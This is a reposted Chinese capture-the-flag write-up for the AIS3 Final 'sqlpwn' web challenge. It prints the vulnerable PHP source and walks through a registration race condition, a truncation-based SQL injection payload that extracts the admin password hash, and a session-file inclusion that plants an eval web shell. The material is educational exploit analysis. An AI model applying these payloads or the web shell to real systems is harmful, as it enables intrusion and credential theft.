转载自:AIS3 Final CTF Web Writeup (Race Condition & one-byte off SQL Injection)
一道纯代码审计的题目,方法很猥琐,脑洞大开,也有实战意义。(想起 XDCTF 2015 上 phith0n 牛出的代码审计题目…… 跪了)
先贴代码:
<?php
/*
sqlpwn by orange
Don't brute force or you will be banned !
*/
session_start();
error_reporting(0);
include "template.html";
include "config.php";
$conn = mysql_connect($dbhost, $dbuser, $dbpass);
mysql_select_db($dbname);
mysql_query("SET sql_mode='strict_all_tables'");
function check_login(){
if ( !isset($_SESSION['name']) ){
exit('not login');
}
}
function escape($str){
$str = mysql_real_escape_string($str);
return $str;
}
$mode = $_GET['mode'];
if ( $mode == 'admin' ){
check_login();
if ( $_SESSION['admin'] != 1 ){
exit('not admin');
}
include getcwd() . '/' . $_GET['boom'] . "php";
} else if ( $mode == 'post' ){
check_login();
$name = $_SESSION['name'];
$titl = $_POST['title'];
$note = $_POST['note'];
$note = trim(escape($note));
$titl = trim(escape($titl));
if ( strlen($note) < 6 ){
exit('para error');
}
if ( strlen($titl) < 6 ){
exit('para error');
}
if ( strlen($note) > 128 ){
$note = substr($note, 0, 128);
}
if ( strlen($titl) > 32 ){
$titl = substr($titl, 0, 32);
}
mysql_query(sprintf("INSERT INTO notes(name, title, note) VALUES('%s', '%s', '%s')", $name, $titl, $note));
echo 'ok';
} else if ( $mode == 'show' ){
check_login();
$id = (int)$_GET['id'];
$r = mysql_query(sprintf("SELECT * FROM notes WHERE id='%d'", $id));
if ( mysql_num_rows($r) == 0 ){
exit('id not found');
}
$result = mysql_fetch_object($r);
if ( $result->name !== $_SESSION['name'] ){
exit('not posted by you');
}
$name = $_SESSION['name'];
$titl = $result->title;
$note = $result->note;
echo "title " . $titl;
echo "<br>";
echo "note " . $note;
exit();
} else if ( $mode == 'register' ) {
$name = $_POST['name'];
$pass = $_POST['pass'];
$name = trim( escape( $name ) );
$pass = trim( escape( $pass ) );
if ( strlen($name) < 6 ){
exit('para error');
}
if ( strlen($pass) < 6 ){
exit('para error');
}
$r = mysql_query(sprintf("SELECT * FROM users WHERE name='%s'", $name));
if ( mysql_num_rows($r) > 0 ){
exit('duplicated');
}
$sql = sprintf("INSERT INTO users(name, pass) VALUES('%s', '%s')", $name, md5($pass));
mysql_query($sql);
$sql = sprintf("INSERT INTO locks(name) VALUES('%s')", $name);
mysql_query($sql);
echo 'ok';
} else if ( $mode == 'login' ) {
$name = $_POST['name'];
$pass = $_POST['pass'];
$name = trim( escape( $name ) );
$pass = trim( escape( $pass ) );
$r = mysql_query(sprintf("SELECT * FROM users WHERE name='%s'", $name));
if ( mysql_num_rows($r) == 0 ){
exit('user not found');
}
$result = mysql_fetch_object($r);
if ( $result->pass !== md5($pass) ){
exit('pass incorrect');
}
$r = mysql_query(sprintf("SELECT * FROM locks WHERE name='%s'", $name));
if ( mysql_num_rows($r) > 0 ){
exit('user locked');
}
$_SESSION['id'] = $result->id;
$_SESSION['name'] = $result->name;
$_SESSION['pass'] = $result->pass;
if ( $name == 'orange' ){
$_SESSION['admin'] = 1;
}
echo 'ok';
} else if ( $mode == 'info' ){
phpinfo();
} else if ( $mode == 'flag' ){
check_login();
echo $flag;
} else {
// I am always on your top >/////<
$r = mysql_query(sprintf("SELECT * FROM notes WHERE name='orange' UNION SELECT * FROM notes ORDER BY id DESC LIMIT 100"));
while ($row = mysql_fetch_object($r)) {
$id = $row->id;
$titl = $row->title;
echo sprintf("<li><a href='./sqlpwn.php?mode=show&id=%d'>%s</a></li>\n", $id, $titl);
echo "<br>";
}
}
漏洞一 Race Condition
预设注册的使用者都是会被放进 locks 表中锁起来的,
但是只要在注册中,帐号尚未被新增进 locks 表时(111 & 112行)马上登录的话,
登录检查是否被锁住的限制就可以绕过了!
漏洞二 one-byte off SQL Injection
当成功登入后可以新增 note 并且可以看到自己新增的 note,
漏洞发生在第58行,当 note 的标题太长为了页面美观会进行截断的动作,只限制前32个字显示在页面上,
这时候因为对 SQL Injection 防护是使用 escape
的方式防护,单引号(')会被反斜线escape成('),但是如果精心设计一个长度正确的payload就可以让防护刚好被绕过造成后面的SQL语句跟前方连在一起:
Payload
POST
title=phddaaphddaaphddaaphddaaphddaa_\
¬e=,(select pass from users where name=0x6f72616e6765)#
phddaaphddaaphddaaphddaaphddaa_\
(32个字长)会被escape成 phddaaphddaaphddaaphddaaphddaa_\\
(33个字长)。
此时踩到超过32长的限制(57 & 58行),并进行截断成 phddaaphddaaphddaaphddaaphddaa_\
。
导致原本的防护被绕过,使得原本被括起来后面的单引号被 escape 原本的SQL语句就变成字符串了。
用这个方法就可以成功在 INSERT 语法中进行 SQL Injection 并在自己的 note 中看到数据,取得管理员密码后即可变身成管理员。
顺道一提这个思路在 Discuz 7.2 去年还是前年被爆出的 SQL Injection 中有类似的思路。
漏洞三 Local File Inclusion with PHP session
由于 include
前面不可控,所以不能使用 php://filter
或是 zip://
phar://
等协议,而后面有 php 的后缀也不能使用 LFI with PHPINFO 的招数。
不过在 PHP 中 SESSION 预设存在 /var/lib/php5/sess_*
中
例如 Cookie: PHPSESSID=123php
会产生 var/lib/php5/sess_123php
的文件。
在可以伪造 $_SESSION 内容的时候其实就代表可以产生一个部分内容可控,部分文件名可控的档案,这时候在使用 LFI 去包含他就可以产生一个 shell 了。
Payload
sqlpwn.php?mode=admin
&boom=../../../../var/lib/php5/sess_123
如此一来可以透过第一个漏洞注册一个使用者名称为 <?php eval($_POST[ccc]); ?>
的用户,
之后登入时指定 PHPSESSID 为 php 结尾,再利用所产生的 session file 进行 include 的动作。